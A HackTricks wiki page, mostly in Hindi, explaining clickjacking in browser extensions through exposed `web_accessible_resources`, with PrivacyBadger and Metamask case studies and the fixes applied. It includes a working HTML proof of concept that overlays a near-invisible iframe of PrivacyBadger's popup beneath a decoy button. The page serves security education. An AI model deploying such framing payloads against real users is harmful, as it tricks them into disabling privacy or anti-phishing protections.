98 lines
9.2 KiB
Markdown

# BrowExt - ClickJacking
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
यह पृष्ठ एक ब्राउज़र एक्सटेंशन में ClickJacking सुरक्षा दोष का दुरुपयोग करने जा रहा है।\
यदि आप नहीं जानते कि ClickJacking क्या है, तो देखें:
{{#ref}}
../clickjacking.md
{{#endref}}
एक्सटेंशन में फ़ाइल **`manifest.json`** होती है और उस JSON फ़ाइल में एक फ़ील्ड `web_accessible_resources` होती है। इसके बारे में [Chrome docs](https://developer.chrome.com/extensions/manifest/web_accessible_resources) में कहा गया है:
> ये संसाधन फिर एक वेबपृष्ठ में URL **`chrome-extension://[PACKAGE ID]/[PATH]`** के माध्यम से उपलब्ध होंगे, जिसे **`extension.getURL method`** के साथ उत्पन्न किया जा सकता है। Allowlisted संसाधन उचित CORS हेडर के साथ परोसे जाते हैं, इसलिए वे XHR जैसे तंत्रों के माध्यम से उपलब्ध होते हैं।[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
एक ब्राउज़र एक्सटेंशन में **`web_accessible_resources`** केवल वेब के माध्यम से ही नहीं, बल्कि एक्सटेंशन के अंतर्निहित विशेषाधिकारों के साथ भी कार्य करते हैं। इसका मतलब है कि उनके पास निम्नलिखित करने की क्षमता है:
- एक्सटेंशन की स्थिति बदलना
- अतिरिक्त संसाधन लोड करना
- ब्राउज़र के साथ एक निश्चित हद तक बातचीत करना
हालांकि, यह सुविधा एक सुरक्षा जोखिम प्रस्तुत करती है। यदि **`web_accessible_resources`** के भीतर कोई संसाधन महत्वपूर्ण कार्यक्षमता रखता है, तो एक हमलावर संभावित रूप से इस संसाधन को एक बाहरी वेब पृष्ठ में एम्बेड कर सकता है। इस पृष्ठ पर जाने वाले अनजान उपयोगकर्ता अनजाने में इस एम्बेडेड संसाधन को सक्रिय कर सकते हैं। ऐसी सक्रियता अनपेक्षित परिणामों का कारण बन सकती है, जो एक्सटेंशन के संसाधनों की अनुमतियों और क्षमताओं पर निर्भर करती है।
## PrivacyBadger Example
एक्सटेंशन PrivacyBadger में, `skin/` निर्देशिका को `web_accessible_resources` के रूप में घोषित करने से संबंधित एक सुरक्षा दोष की पहचान की गई थी (मूल [ब्लॉग पोस्ट](https://blog.lizzie.io/clickjacking-privacy-badger.html) देखें):
```json
"web_accessible_resources": [
"skin/*",
"icons/*"
]
```
इस कॉन्फ़िगरेशन ने एक संभावित सुरक्षा समस्या को जन्म दिया। विशेष रूप से, `skin/popup.html` फ़ाइल, जो ब्राउज़र में PrivacyBadger आइकन के साथ इंटरैक्शन पर रेंडर होती है, को एक `iframe` के भीतर एम्बेड किया जा सकता है। इस एम्बेडिंग का उपयोग उपयोगकर्ताओं को "Disable PrivacyBadger for this Website" पर अनजाने में क्लिक करने के लिए धोखा देने के लिए किया जा सकता है। ऐसा करने से उपयोगकर्ता की गोपनीयता से समझौता होगा क्योंकि PrivacyBadger सुरक्षा को निष्क्रिय कर दिया जाएगा और संभावित रूप से उपयोगकर्ता को बढ़ी हुई ट्रैकिंग का सामना करना पड़ेगा। इस एक्सप्लॉइट का एक दृश्य प्रदर्शन [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm) पर प्रदान किए गए ClickJacking वीडियो उदाहरण में देखा जा सकता है।
इस कमजोरियों को संबोधित करने के लिए, एक सीधा समाधान लागू किया गया: `web_accessible_resources` की सूची से `/skin/*` को हटा दिया गया। इस परिवर्तन ने यह सुनिश्चित करके जोखिम को प्रभावी ढंग से कम कर दिया कि `skin/` निर्देशिका की सामग्री को वेब-एक्सेसिबल संसाधनों के माध्यम से एक्सेस या हेरफेर नहीं किया जा सकता।
फिक्स आसान था: **`web_accessible_resources` से `/skin/*` हटा दें**।
### PoC
```html
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>
<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
```
## Metamask उदाहरण
A [**ClickJacking के बारे में एक ब्लॉग पोस्ट metamask में यहाँ पाया जा सकता है**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). इस मामले में, Metamask ने इस कमजोरी को ठीक किया यह सुनिश्चित करके कि इसे एक्सेस करने के लिए उपयोग किया जाने वाला प्रोटोकॉल **`https:`** या **`http:`** था (उदाहरण के लिए **`chrome:`** नहीं):
<figure><img src="../../images/image (21).png" alt=""><figcaption></figcaption></figure>
**Metamask एक्सटेंशन में एक और ClickJacking ठीक किया गया** था कि उपयोगकर्ता **Click to whitelist** कर सकते थे जब एक पृष्ठ को फ़िशिंग होने का संदेह था क्योंकि `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. चूंकि वह पृष्ठ Clickjacking के प्रति संवेदनशील था, एक हमलावर इसका दुरुपयोग कर सकता था, कुछ सामान्य दिखाकर पीड़ित को इसे व्हाइटलिस्ट करने के लिए क्लिक करने के लिए मजबूर कर सकता था, बिना यह नोटिस किए, और फिर फ़िशिंग पृष्ठ पर वापस जा सकता था जिसे व्हाइटलिस्ट किया जाएगा।
## Steam इन्वेंटरी हेल्पर उदाहरण
एक ब्राउज़र एक्सटेंशन में **XSS** को **ClickJacking** कमजोरी के साथ कैसे जोड़ा गया है, यह देखने के लिए निम्नलिखित पृष्ठ की जांच करें:
{{#ref}}
browext-xss-example.md
{{#endref}}
## संदर्भ
- [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
- [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)
{{#include ../../banners/hacktricks-training.md}}